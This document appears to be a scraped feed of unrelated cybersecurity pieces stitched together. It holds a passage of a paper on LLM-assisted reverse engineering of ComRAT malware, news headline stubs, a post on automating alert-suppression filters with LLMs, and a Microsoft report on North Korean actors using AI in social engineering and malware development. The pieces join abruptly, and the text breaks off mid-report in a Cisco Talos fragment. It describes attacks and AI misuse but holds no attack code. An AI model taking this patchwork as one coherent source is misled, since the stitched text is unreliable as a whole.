Our evaluation studies showed that models alone do not reliably produce attestable databases. Labels drift from what the code does, findings stay in logs, planned work disappears, and analysis stops before the relevant code has been read. The standard and VerifiedIDA respond by leaving the analytical judgment with the model and giving the system around it the job of keeping that judgment checkable. Our rerun of Case Study #2 shows the difference: the helper that six earlier runs skipped became work the model could not leave unfinished.

We are releasing both as a starting point. The requirements describe the minimum a model-driven workflow should provide, and our implementation covers a single disassembler. We invite the community to test the specification against their own tooling, build adapters for Ghidra and Binary Ninja, and push back on requirements that do not hold up. Where sharing is permitted, we also encourage researchers to publish annotated projects alongside their reports, so others can extend an analysis instead of repeating it.

This paper complements research we presented at LABScon 2026.

Case Studies

#1 | Recovering a Data Structure

Recovering data structures is routine reverse engineering work. At the memory level, a structure is a base address with fields at fixed offsets from it, where a field may be a complex data type itself. If the binary carries no debug symbols, it does not declare field offsets, types, and names, and these have to be recovered through analysis.

Two ComRAT functions, with the IDA default names sub_18002C770 and sub_18002CDA0, receive a pointer to a data structure as their parameter. IDA types these parameters as an integer.

The LLM typed the parameters as a pointer to a data structure, which it declared as follows.

The LLM approached the recovery of the structure in two stages. First, from the pseudocode of sub_18002C770, sub_18002CDA0, and the functions they invoke, it observed references to specific offsets from the function parameter value (the structure base address), concluding that the parameter is a pointer to a structure. It then widened the analysis to the rest of ComRAT's code, looking for references to the structure's fields wherever they occur. For each field it identified, it analyzed the context in which the field is used to propose a label, type, and size. 

This enabled the LLM to recover the full set of structure fields, and from their sizes the correct total size of the structure itself.

The strongest evidence the LLM had for typing a field was its use as a parameter to a Windows API function. Many Windows API functions are documented publicly and their parameter sets are relatively stable, so the types of these parameters are highly likely present in the model's training data. IDA may also expose these types in the pseudocode provided to the LLM since it auto-defines parameter types for many of these functions. The model could therefore determine field types from authoritative sources.

For example, the LLM observed that a pointer to the structure field at offset 0x30 is passed as the tenth parameter of CreateProcessW. Microsoft documents the type of this parameter as a pointer to a PROCESS_INFORMATION structure, and IDA's pseudocode shows the same type. The LLM used this information to correctly type the field as PROCESS_INFORMATION.

The LLM did not produce annotations that its analysis did not support. For example, it found no use of the field at offset 0x28 within the functions under analysis and did not label the field after an invented role. Instead, it flagged the finding and decided to explore ComRAT's code further to establish the field's role. It found no use of the field anywhere in ComRAT and labeled it unresolved_28. Our own analysis confirms that the field is indeed never used.

However, several structure field and function labels produced by the LLM are inaccurate, since they do not describe what they should: the role a field plays in the code or the primary operation a function performs. For example, the LLM labeled the field at offset 0x28 unresolved_28, naming its own analytical state rather than the role of the field, or the lack thereof. The label is also ambiguous, because it does not distinguish a field that has not been examined from one that has been examined and found to be unused. In the case of this field, a name such as unused would be more appropriate.

The LLM also named the function sub_18002C770 PrepareSuspendedSurrogateProcess, although the function’s primary operation is the creation of a browser process in a suspended state. The LLM’s label does not indicate process creation at all, and Prepare suggests work that precedes a later step rather than the function’s primary operation. The LLM’s free-text description of the function (“Create the configured surrogate process before proxy injection”) shows that the model had identified the primary operation. The description leads with it and treats the injection that follows as context, whereas the label PrepareSuspendedSurrogateProcess keeps only the context and leaves out the process creation. A human reverse engineer would be more likely to apply a label such as CreateSuspendedBrowserProcess, which is more descriptive and more accurate in the context of the task.

Beyond inaccurate labels, the LLM did not record all of its findings in the IDA database, as the annotation of the structure field at offset 0x0 demonstrates. This field is a pointer to a structure, which holds data associated with a log writing mechanism, and the LLM logs show that the model identified the field as such.

However, in the IDA database, the LLM typed this field as a generic void pointer and labeled it owner_context rather than something closer to its role, such as LogWriter. The LLM had established the type and role of the field but did not translate these findings into IDA database annotations.

#2 | Analyzing a Function’s Behavior

A ComRAT function, with the IDA default name sub_180077C10, retrieves by name the address of a function exported by a dynamic link library (DLL) loaded in a remote process. If the export is forwarded to another DLL, the function resolves the address of the forwarded export recursively.

The LLM labeled this function ResolveRemoteExportAddress, correctly expressing its primary operation. As in Case Study #1, the strongest evidence the LLM relied on was the Windows API calls the function invokes. ResolveRemoteExportAddress also compares values against publicly documented constants, which provided the LLM with further authoritative evidence of the function’s operation.

For example, from the ReadProcessMemory calls, the LLM established that the function reads memory in the address space of a remote process. From the comparisons against the MZ (0x5A4D) and PE (0x4550) signature constants, the model determined that the function looks for Windows PE (Portable Executable) headers. Because the PE format is publicly documented and highly likely present in the model’s training data, the offsets into these headers visible in the pseudocode enabled the model to identify which of the DLL’s PE structures the function reads, such as its export directory and the array of names of its exported functions.

The LLM's free-text description, “Resolve an exported function address in a remote module from its PE export directory”, is accurate but incomplete, since it does not account for the resolution of forwarded exports.

If an export is forwarded to another DLL, sub_180077C10 (ResolveRemoteExportAddress) calls sub_180081450, which resolves the address of the forwarded export. Treating its understanding of sub_180077C10 as complete, the LLM labeled and described the function without exploring all of its callees, including sub_180081450. The capability implemented by sub_180081450 therefore remained unidentified.

The Binance hack hit USD 6.34B via a fake job interview, an abused AI tool and EIP-7702 delegation. The FBI points to North Korea.

Related Posts:

• Threat Actors Hijack Enterprise AI Models in Costly LLMJacking Cloud Attacks
• Kimsuky Operation GitPower Staging Infrastructure Stays Live on GitHub
• Kaspersky Uncovers CyberStrikeAI Framework Attacks on Schools

The post Binance Hack Report Details Fake Job Interview, AI Tool Abuse and EIP-7702 Wallet Drain appeared first on Daily CyberSecurity.

Why the Binance Hack Targeted Engineers, Not Systems

How the Binance Hack Unfolded on October 29

Why Binance Couldn't Stop It Faster

Who Is Behind It

Where Users Stand

Microsoft details help desk impersonation on Teams that led to AD CS abuse via ESC1 and ESC8, giving attackers privileged certificates.

Related Posts:

• Kaspersky Uncovers CyberStrikeAI Framework Attacks on Schools
• Supermarket Freezer Hack Hits Stores Across Europe
• North Korean Threat Actors Accelerate Cyber Operations With Artificial Intelligence

The post Help Desk Impersonation on Teams Leads to AD CS Abuse and Domain Takeover Attempts appeared first on Daily CyberSecurity.

The rise of vibe manufacturing AI allows makers to transform conversational prompts into physical hardware, custom sheet metal, and printed circuit boards.

Related Posts:

• ChatGPT Violence Restrictions Tighten with Teen Safeguards
• AI Training Preference Standard Added to Robots.txt
• Google Project Suncatcher Achieves Orbital AI Inference

The post Vibe Manufacturing AI Turns Prompts into Physical Hardware appeared first on Daily CyberSecurity.

FBI Seizes Virtualine Over Alleged Cybercrime Activity

Hosting Provider Allegedly Ignored Repeated Abuse Reports

Virtualine Advertised Measures to Evade Law Enforcement

Cryptocurrency Payments Linked to Money Laundering

International Cooperation Behind Virtualine Takedown

A modern organization protects its information systems with a whole suite of technologies that generate thousands of security alerts every day. Looking at these alerts in bulk, you’ll see that a significant share are false positives. Ideally, these alerts would be filtered out automatically so that analysts could focus on the ones that may point to a real incident. However, writing filters is a time-consuming task in itself. To create a correct filter, an analyst needs to:

• Review the logs
• Identify the source of the activity
• Define filtering boundaries
• Choose filtering criteria
• Write a rule
• Check that the filter is robust

This post looks at how filter creation itself can be automated to reduce analyst workload.

Filter validity criteria

In the context of security alerts, a filter is a combination of event field values that marks a detection as a false positive and not worth the analyst’s attention. Filters can be generated for any combination of event fields, but not every combination yields a valid filter. That’s why we need to define validity criteria: conditions showing that a specific filter actually removes noise and doesn’t suppress useful alerts.

Detection rules in security systems typically contain a set of conditions, and each of them can generate an alert. A specific event triggers a given fragment of a detection rule. The set of events that a given fragment responds to is what we’ll call its context. A good filter should cover the entire context where possible, without going beyond it. Filters that are too broad or too narrow are useless. For example, a filter based solely on PowerShell would exclude too many events, including some that deserve the analyst’s attention. Most of the filtered events would also be unrelated to the rule in question. A filter on a specific ID, on the other hand, would cover only one event, which may never recur.

Problems in filter generation

We can run into a number of problems when creating filters. First, events often contain an excessive number of fields (around 400 on average), and most of them aren’t needed for filtering. At the same time, generating and ranking combinations of these fields is also fairly resource-intensive. So, the first step is to discard the irrelevant fields and keep only those worth using in the filter. For example, out of 400 fields in an event, four may be enough for filtering.

Another problem is string normalization. Field values (for example, the path to the same application on different systems) can vary depending on system settings, user folder names, and so on. For a filter to account for all these variations, the strings must be normalized. For file paths, in particular, you can replace the drive letter and user folders with standard environment variables and convert all paths to a single case.

Finally, if a filter completely mirrors the query of a detection rule, it effectively disables that rule. To fix this, remove the event fields used in the detection rule from the filter. For example, if a rule triggers on a file path, there are two ways to filter out unwanted alerts:

• In the filter, use fields other than the file path.
• Use a part of the file path that the rule doesn’t use. For example, for the rule file_path: ".../something.exe", you can set up a filter that excludes events with the user/unique_files/ directory in the file path.

Filtering security alerts with an algorithm

Given the problems described above, automatically generating filters for security alerts should consist of the following steps:

1. An analyst receives a security alert that they assess as a false positive and uses the filter generator.
2. The generator takes the 400-field event from the alert, along with the rule that triggered on it, and determines the context.
3. The generator selects the fields that are relevant to the filter.
4. The generator normalizes the strings.
5. The generator builds different combinations of the selected fields. To do this, we applied the FP-Growth (frequent pattern growth) algorithm to the context determined earlier. FP Growth builds a tree of frequently occurring items (fields) from a dataset (in our case, the context) and discards items that aren’t frequent enough. This reduces the number of combinations to check, which lowers the cost of finding the most relevant ones.
6. The generator ranks the resulting combinations and offers the analyst the top three to choose from.

For example, consider an event described by the following JSON:

After generating and ranking the combinations, we got three filters based on file paths:

• processcmdline:("nodejs\\node.exe" AND "*****\\appdata\\roaming\\npm\/node_modules\/pi-coding-agent\/dist\/cli.js")

• file_path:"*****/.pi\\agent\\bin\\fd.exe"

• processcmdline: "programfiles\\nodejs\\node.exe"

The last filter turned out to be too broad, but the analyst marked the other two as valid.

Pros and cons of the algorithmic approach

The algorithmic approach to filter generation has several advantages. First, it’s simple and deterministic: the same alert always produces the same result. Second, it’s interpretable, meaning we can see why a given combination ranked near the top of the list and why a particular field didn’t make it into the list of candidate fields at all. Third, the stages of the process are independent of each other, so individual steps can be improved and tuned without the risk of breaking the algorithm elsewhere. Finally, it has no external dependencies or models, which makes it easy to deploy in any customer environment.

However, it also has drawbacks. The first is its dependence on context. If there’s no context for some reason — for example, the rule’s first-ever trigger — a filter can’t be created. The second problem is string normalization. There’s a high chance of running into atypical cases that the normalization rules don’t cover. Often such cases can’t be described correctly at all, because they contradict each other.

These problems can be solved with large language models (LLMs). When an LLM generates the filters, no context is needed, because the LLM doesn’t iterate over or rank combinations. The LLM also takes a more flexible approach to string normalization, including non-standard cases. That said, an LLM doesn’t have to be involved at every stage of the generation process. We decided to keep the algorithmic solution where it works well. For example, a simple algorithm selects suitable fields without errors, so we didn’t move this stage to the model.

Filter generation with an LLM

The LLM-based filter generation looks like this:

The input is still an alert containing an event with 400 fields, plus the rule that triggered on that event. Then an algorithm selects the most suitable fields for the filter. Next, the LLM processes the input — the event, the selected fields, and the detection rule — and generates three filter options along with an explanation for them. The explanation helps the analyst understand why these particular filters were suggested and make an informed choice.

Consider the following event in JSON format:

The LLM suggested three filter options that all contain the same command line fragment:

• file_path: "\\WindowsPowerShell\\powershell.exe" AND filecmdline: "Get-VM -Name kafka\*"

• filecmdline: "Get-VM -Name kafka\*"

• filecmdline: "kafka*"

As in the previous example, two of the three output filters were valid. The last one was too broad to be usable. The analyst chose the first filter with minor edits:

file_path: "powershell.exe" AND filecmdline: "Get-VM -Name kafka\*"

Pros and cons of generating filters with an LLM

Using an LLM solved the problems of purely algorithmic filter generation: dependence on context and errors in string normalization. However, the single-request approach had its own drawbacks. First, it had no output validation. The LLM returned filters as-is, with no syntax check and no way to correct errors. Second, unlike in the algorithmic version, all filter generation tasks were handled by a single system prompt. As a result, a minor fix in one place could break the logic in another.

Using multiple AI agents

To address the problems of generating filters with a single model and a single system prompt, we tried distributing the tasks across different LLM agents. In this version, we brought in agents as early as the stage of selecting relevant fields. The chain includes four agents in total:

• Selector: selects the relevant fields.
• Generator: generates filters.
• Validator: evaluates the generated filters. If the filters are found to be invalid, it returns the task to the generator. If the selected fields are found to be irrelevant, it starts a new field selection cycle. If the filters pass validation, or the limit on regeneration attempts is reached, the valid filters (or the best ones available) are passed to the analyst.
• Commentator: analyzes the output filters and explains which field values were used and why.

For the following JSON event, the agents produce three valid filters based on the file path.

The filters differ in the additional parameters that support the detection:

• file_path:"sysvol\\domain\\scripts\\logon.bat"

• file_path:"sysvol\\domain\\scripts\\logon.bat" AND file_md5:"0x7..6E"

• autorun_entry: "Group Policy\\State" AND file_path: "SYSVOL\\domain\\scripts\\logon.bat"

Pros and cons of the agent-based approach

LLM agents give us a system that can validate and correct filters. Its modular architecture also lets us tune and improve different stages of generation independently. However, this approach makes more LLM calls than the previous ones, so the system is slower. It also depends on access to a model, which may not be available in the organization’s isolated environment.

Evaluating the filter generation system

To evaluate how well the filter generation system works, we use two main metrics:

• Approval rate. For each security alert, the system suggests three filters. If the analyst selects at least one of them, we count the generation as successful. For example, in the case below, the approval rate is 2/3.
  
• False positive reduction rate (FP drop). This metric shows how much a filter helps reduce the number of false positives. It can only be measured over time, because we need to compare the number of false positive alerts received during a set period before and after the filter is deployed.

Below is a comparison of the three filter generation approaches by these metrics:

As the results show, LLMs significantly improve the efficiency of filter generation. At the same time, the LLM agentless and agent-based approaches perform almost identically. So we chose the simpler and faster option: an LLM with a single system prompt. As a result, we cut false positives by 99%, increased the number of filters generated per day by 28%, and made analysts’ alert handling 17% more efficient.

Takeaways

Practice has shown that filter generation can be automated effectively. We’ve looked at several options for automatically generating filters for false-positive security alerts: a purely algorithmic approach, an LLM-based approach, and an approach built on a group of LLM agents. All of them can generate valid filters and make the analyst’s work much easier, but each has its own pros and cons.

The algorithmic approach scored lower on the evaluation metrics, but in two-thirds of cases, it still produces filters that satisfy the analyst. It works especially well when there’s already a set of similar events to filter out, meaning enough context has accumulated. The algorithmic generator can also be deployed in any environment. Both standalone LLM and multi-agent LLM approaches show high accuracy, and their results differ only slightly, so the slower agent-based approach looks excessive at this stage. If an LLM is available, the best option appears to be a single model that handles several stages of the generation cycle.

Before trick-or-treaters arrive, check your Ring Doorbell motion zones to reduce unwanted alerts and make sure visitors are detected along your walkway.

The post Your Ring Doorbell Could Miss Trick-or-Treaters — Check These Settings Before Halloween appeared first on TechRepublic.

As Microsoft Threat Intelligence continues to track how threat actors operationalize AI to increase the speed, efficiency, and complexity of attacks, we’ve identified North Korean threat actors expanding their use of AI with varying levels of adoption. Threat actors use AI as a force multiplier across their operations, particularly to accelerate and scale established workflows.

Recent activities illustrate this AI-enabled acceleration and scaling: Jade Sleet launched campaigns through three front companies in a single week, Onyx Sleet generated dozens of tailored lures in minutes, Coral Sleet rapidly built a new capability to trojanize private source code repositories, and Diamond Sleet used AI to enhance tailored targeting workflows, including persona development and front company creation. Further, Onyx Sleet and Pearl Sleet are leveraging the open-source agentic AI penetration testing framework ARTEX to conduct operations, further indicating North Korea’s willingness to quickly adopt new AI technologies for their operations.

The Democratic People’s Republic of Korea operates under extensive international sanctions and uses cyber operations and other illicit mechanisms to evade these restrictions and advance state objectives. Within this operating environment, North Korean threat actors have adopted new technologies that help sustain or advance existing operations. AI adoption by North Korean threat actors therefore largely supports existing goals and targeting priorities rather than representing a shift in actor motivations. North Korean threat actors conduct cyber operations primarily to generate revenue for the regime, collect strategic intelligence, and, in some cases, pursue politically motivated disruptive or destructive objectives. Across these objectives, North Korean threat actor tradecraft remains grounded in social engineering, malware delivery, and the abuse of legitimate tools. These operations commonly target cryptocurrency and financial organizations, information technology companies and software supply chains, government entities, and education-related organizations. Despite threat actors’ adoption of AI, Microsoft Threat Intelligence assesses that AI-enabled operations remain human-directed and have not become fully autonomous.

Microsoft Threat Intelligence assesses the overall adoption of AI across North Korean threat actors as high, with threat actors such as Jade Sleet, Coral Sleet, and Jasper Sleet demonstrating an established use of AI across all operational workflows, alongside increasing adoption across the broader North Korean threat actor set. This blog breaks down how North Korean threat actors are utilizing AI across their operations, reflecting a broader trend of threat actors incorporating AI into their attack chains. We also provide mitigation guidance and Microsoft Defender detections to help organizations defend against these threats.

Stages of AI adoption by North Korean threat actors

North Korean threat actors are increasingly integrating generative and agentic AI platforms into their operations, but the rate and maturity of adoption vary. Based on identified AI use, Microsoft Threat Intelligence assesses high-impact North Korean threat actors across four stages of adoption: emerging, expanding, accelerating, and operationalized. Across these actors, AI use spans research, content generation, development, malware and tooling, infrastructure, and broader operational activities.

Operationalized: Threat actors at this stage have embedded AI into routine operational workflows, using it as an established part of their existing processes. Microsoft Threat Intelligence assesses that the North Korean threat actors Jade Sleet, Coral Sleet, and Jasper Sleet have operationalized AI across their entire operations, which frequently encompass identity-based attacks built on deceptive social engineering. These attacks can be accelerated with AI capabilities that tailor lures or personas to the intended audience.

Accelerating: Threat actors at this stage demonstrate rapid adoption of AI across multiple operational functions. Microsoft Threat Intelligence assesses that Diamond Sleet, Onyx Sleet, Pearl Sleet, and Sapphire Sleet are at the accelerating stage of AI adoption.

Expanding: Threat actors at this stage are expanding their use of AI across selected operational activities, but adoption is not yet embedded across broader workflows. Microsoft Threat Intelligence assesses that Emerald Sleet is at the expanding stage of AI adoption. While evidence suggests Emerald Sleet has incorporated AI into some workflows, Microsoft Threat Intelligence has not identified the same level of adoption and impact as other North Korean threat actors.

Emerging: Threat actors at this stage demonstrate limited or experimental use of AI. At this time, Microsoft Threat Intelligence has not assessed any North Korean threat actors as operating at the emerging stage.

AI use across North Korean threat operations

Microsoft Threat Intelligence has identified North Korean threat actors using AI platforms to support a range of operational activities, from reconnaissance to developing social engineering content, maintaining fraudulent identities, supporting tool development, and scaling repetitive operational tasks. Current evidence indicates that these actors primarily use AI to enhance existing tradecraft and operator productivity rather than to enable autonomous operations. Microsoft Threat Intelligence has identified North Korean threat actors leveraging the following AI-enabled tactics as part of their threat operations.

AI-assisted targeting and reconnaissance

Based on industry reporting and changes in targeting activity in 2026, North Korean threat actors are scaling reconnaissance capabilities by using generative AI platforms, including gathering information on target organizations prior to launching social engineering operations. Microsoft Threat Intelligence has identified that these actors:

• Research organizations and employees, then use information from this research to craft highly bespoke and convincing lures, target-specific infrastructure, and job applications
• Research wallets, exchanges, and decentralized finance (DeFi) and blockchain workflows, accelerating the development of domain knowledge needed to support targeted operations
• Explore vulnerabilities, APIs, security products, and cloud services, leading to a demonstrated change in the speed and sophistication of threat activity against specific technologies
• Research software development roles, job requirements, and technology organizations to support job searching, resume development, and persona alignment, resulting in rapid tailored persona or lure creation, application to newly posted job roles, or spear-phishing operations

For example, between June 8 and June 12, 2026, Microsoft Threat Intelligence identified Jade Sleet conducting job-themed targeting against individuals across various organizations, including those involved in cybersecurity, AI, blockchain, and talent recruitment companies. The actor leveraged tailored domains, social media profiles, and industry-specific knowledge to pose as recruiters for a spoofed AI-powered blockchain intelligence company, using software engineer-themed opportunities to initiate contact and schedule interviews with individuals who engaged with the outreach. Within this short time frame, Jade Sleet conducted similar job-themed targeting using two additional front companies, supported by comparable infrastructure and relevant domain knowledge. Microsoft Threat Intelligence assesses that the pace and breadth of this activity demonstrate how Jade Sleet is using generative AI to accelerate operational workflows, including rapidly developing target- and industry-specific knowledge, tailoring reconnaissance and targeting, and scaling outreach to target individuals.

Jasper Sleet also continues to leverage generative AI platforms to build fake digital personas. The actor’s suspected use of generative and agentic AI-assisted resume workflows demonstrates an improvement in the speed, scale, and relevance of persona preparation over the past year. Identified application activity indicates that the actor has invested in repeatable tooling to support employment-themed operations, ultimately helping the actor scale application activity and interact more credibly with the hiring processes of impacted organizations.

Since August 2026, Microsoft Threat Intelligence has observed Diamond Sleet returning to targeting the oil and gas sector for the first time since 2023, expanding their focus on communications and internet policy-related organizations, and continuing to target defense-related organizations. Further, Diamond Sleet has created fake communications technology companies, complete with supporting websites and tailored personas, to target telecommunications companies under the guise of legitimate business partnerships. These shifts have occurred alongside Diamond Sleet’s increased use of generative AI platforms to support reconnaissance and technical development, suggesting that AI could be improving the efficiency of existing operational workflows.

AI-assisted social engineering and identity deception

Several North Korean threat actors leverage job-themed social engineering techniques to gain access to target environments. For example, Sapphire Sleet, Jade Sleet, and Coral Sleet use employment- and interview-themed social engineering to target users and organizations, while Jasper Sleet uses fraudulent identities to obtain legitimate remote employment. These actors leverage AI to improve the process of creating convincing lures, aid in the development of fake personas, and evade detection when interacting with targets. Specifically, these actors use AI to:

• Produce tailored phishing, recruiter, and investment lures
• Create job-themed payload-delivery content and malicious repository lures
• Translate content and adjust tone to support foreign-language impersonation and more natural communications
• Build resumes, biographies, and realistic interview responses
• Support coding assessments, job-related tasks, and the management of multiple worker personas
• Enhance profile images and other identity artifacts
• Alter profile images, video, voice, and backgrounds
• Sustain recruiter, developer, investor, and other social identities across interactions and platforms

Microsoft Threat Intelligence has identified over 100 PDF lure files attributed to Onyx Sleet that were created in August and September 2026 with target-specific details. Metadata indicated that the actor created dozens of files at a time in rapid succession within minutes, highly likely to be the output of an AI platform. This automation supports the actor’s high-volume phishing campaigns against South Korean users and could make disruption and detection efforts more difficult given the rapid regeneration or modification of additional lures.

Microsoft Threat Intelligence has also identified possible synthetic media generation, focused on AI-created voice and video, by Emerald Sleet. While we have not been able to determine the full operational impact of such tooling, it is highly likely that synthetic media creation is valued by multiple North Korean threat actors, as it significantly enhances existing social engineering capabilities.

AI-assisted software and tooling development

Microsoft Threat Intelligence has identified evidence indicating that North Korean threat actors are leveraging AI-enabled software and tools to assist in malware development. These tools include AI-assisted development platforms, such as Cursor, which have likely enabled Jade Sleet, Coral Sleet, Pearl Sleet, and Sapphire Sleet to:

• Generate, convert, debug, and refactor code
• Assist with scripts, commands, persistence mechanisms, and obfuscation
• Troubleshoot errors and help operators diagnose tool behavior
• Support the adaptation or reimplementation of functionality across languages, libraries, and environments

Additionally, AI-enabled development cycles further allow threat actors to circumvent detection and blocking efforts, as AI platforms streamline retooling, helping enable threat actors to rapidly pivot in reaction to defensive measures.

For example, Microsoft Threat Intelligence has identified evidence indicating that Sapphire Sleet, who has conducted several supply chain attacks, likely incorporated AI during the August 2026 Rust software compromise. The activity spanned from initial stages targeting Rust developers to development and deployment of malware. Notably, Sapphire Sleet’s malware in this campaign was a marked improvement compared with other attributed campaigns, as the malware used dynamic .NET compilation during post-exploitation, most likely for defense evasion.

And, since April 2026, Coral Sleet has operationalized a workflow to trojanize private GitHub repositories, integrating them into their existing malware chain. This new capability, its breadth and scale, and its rapid implementation were highly likely engineered using an AI-enabled development platform.

AI-assisted operational scaling and analysis

North Korean threat actors are leveraging AI platforms to scale and manage diverse operations. For example, Jasper Sleet’s AI tooling helps maintain consistent communication and performance across multiple fraudulent worker personas. We have also seen evidence of AI use for automating repetitive tasks, summarizing collected information from victim organizations, and accelerating post-compromise decision making while human operators likely continue to direct intent and objectives. This operational adoption extends to emerging agentic AI technologies. Since late October 2026, Microsoft Threat Intelligence has identified Onyx Sleet and Pearl Sleet leveraging open-source agentic AI penetration testing ARTEX in operations, highlighting how North Korean threat actors are adopting new AI technologies as they become available.

Mitigation and protection guidance

Threat actor misuse of AI accelerates risk across enterprise environments by amplifying existing threats such as phishing, malware threats, and insider activity. To help organizations stay ahead of AI-enabled threat activity, Microsoft has introduced the Security Dashboard for AI. The dashboard provides users with a unified view of AI security posture by aggregating security, identity, and data risk across Microsoft Defender, Microsoft Entra, and Microsoft Purview. This allows organizations to understand what AI assets exist in their environment, recognize emerging risk patterns, and prioritize governance and security across AI agents, applications, and platforms. To learn more about the Microsoft Security Dashboard for AI see: Assess your organization’s AI risk with Microsoft Security Dashboard for AI.

Additionally, Microsoft Agent 365 serves as a control plane for AI agents in enterprise environments, allowing users to manage, govern, and secure AI agents and workflows while monitoring emerging risks of agentic AI use. Agent 365 supports a growing ecosystem of agents, including Microsoft agents, broader ecosystems of agents such as Adobe and Databricks, and open-source agents published on GitHub.

As the AI-enabled operations conducted by North Korean threat actors vary across tactics, techniques, and procedures (TTPs), the following guidance can help organizations harden their networks against multiple classes of threats.

Vulnerability and exposure management

• Use Microsoft Defender Vulnerability Management to identify, assess, remediate, and track vulnerabilities across critical assets. Use the exposure score to reduce your vulnerability exposure and the Microsoft Secure Score to identify and remediate security misconfigurations in your environment.
• Use a perimeter scanning tool like Microsoft Defender External Attack Surface Management to understand your organization’s digital footprint and potential attack surface. Targeting web-facing vulnerabilities continues to be one of the most effective attack methods for initial access.
• Ensure any web-facing systems are isolated from the public internet with a secure network boundary and access them with a virtual private network (VPN). If certain servers must be accessible on the public internet, position them behind a web application firewall (WAF), reverse proxy, or perimeter network (also known as a DMZ), which can reduce the risk of vulnerability exploitation in some cases.
• Consider automating patching where possible. Windows Update client policies offer automated patching, which can greatly reduce the amount of time IT admins must spend identifying, configuring, and deploying updates.
• To help manage infrastructure distributed across cloud, on-premises, and hybrid networks, use a centralized patching solution like Azure Update Manager.

Protecting against social engineering and phishing

• Educate users about protecting personal and business information on social media, filtering unsolicited communication, identifying lures in spear-phishing emails and watering holes, and reporting reconnaissance attempts and other suspicious activity.
• Educate users about preventing malware infections, such as ignoring or deleting unsolicited and unexpected emails or attachments sent through instant messaging applications or social networks.
• Review the recommended settings for Exchange Online Protection and Microsoft Defender for Office 365 to ensure your organization has established essential defenses and knows how to monitor and respond to threat activity.
• Invest in user awareness training and phishing simulations. Attack simulation training in Microsoft Defender for Office 365, which also includes simulating phishing messages in Microsoft Teams, is one approach to running realistic attack scenarios in your organization.
• Enable Zero-hour auto purge (ZAP) in Defender for Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
• Responders could also manually check for and purge unwanted emails containing URLs and/or Subject fields that are similar, but not identical, to those of known bad messages.
• Investigate malicious email that was delivered in Microsoft 365 and use Threat Explorer to find and delete phishing emails.
• Turn on Safe Links and Safe Attachments in Microsoft Defender for Office 365.
• Only allow device code flow where necessary. Microsoft recommends blocking device code flow wherever possible. Where necessary, configure Microsoft Entra ID’s device code flow in your Conditional Access policies.

Vetting potential employees

• Exercise greater scrutiny for employees of staffing companies, since this is the easiest avenue for North Korean workers to infiltrate target companies.
• Check to make sure a potential employee’s social media/professional accounts are not highly similar to the accounts of other individuals. In addition, check that a contact phone number listed on a potential employee’s account is unique and not also used by other accounts.
• Scrutinize resumes and background checks for consistency of names, addresses, and dates. Consider contacting references by phone or video-teleconference rather than email only.
• Search whether a potential employee is employed at multiple companies using the same persona.
• Ensure the potential employee is seen on camera during multiple video telecommunication sessions. If the potential employee reports video and/or microphone issues that prohibit participation, this should be considered a red flag.
• Confirm the potential employee has a digital footprint. This includes a real phone number (not VOIP), a residential address, and social media accounts.

Defending against malware

• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown variants.
• Ensure Microsoft Defender Antivirus definitions are up to date and real-time protection is turned on.
• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach.
• Configure investigation and remediation in full automated mode to let Microsoft Defender for Endpoint take immediate action on alerts to resolve breaches, significantly reducing alert volume.
• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully.
• Enable network protection in Microsoft Defender for Endpoint.
• Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent several of the infection vectors of this threat. These rules, which can be configured by users with administrator rights, offer significant hardening against targeted attacks. In observed attacks, Microsoft customers who had the following rules turned on could mitigate the attack in the initial stages and prevent hands-on-keyboard activity:
  • Block executable content from email client and webmail
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion
  • Block execution of potentially obfuscated scripts
  • Use advanced protection against ransomware

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the activity and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Threat overview profile: Threat actors operationalizing AI
• Actor profile: Coral Sleet
• Actor profile: Diamond Sleet
• Actor profile: Emerald Sleet
• Actor profile: Jade Sleet
• Actor profile: Jasper Sleet
• Actor profile: Onyx Sleet
• Actor profile: Pearl Sleet
• Actor profile: Sapphire Sleet

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Tracking AI adoption in North Korean threat actor tradecraft appeared first on Microsoft Security Blog.

• Cisco Talos has identified UAT-11473, a highly sophisticated advanced persistent threat (APT) actor, who exploited CVE-2026-20127, an authentication bypass vulnerability in Cisco SD-WAN Catalyst Controller instances to bypass authentication and gain unauthorized access to affected systems.
• UAT-11473 then installed a custom malware framework we track as “KeyDrift” consisting of multiple components geared towards collecting sensitive keying information, acting as backdoors and intermediate command-and-control (C2) hosts.
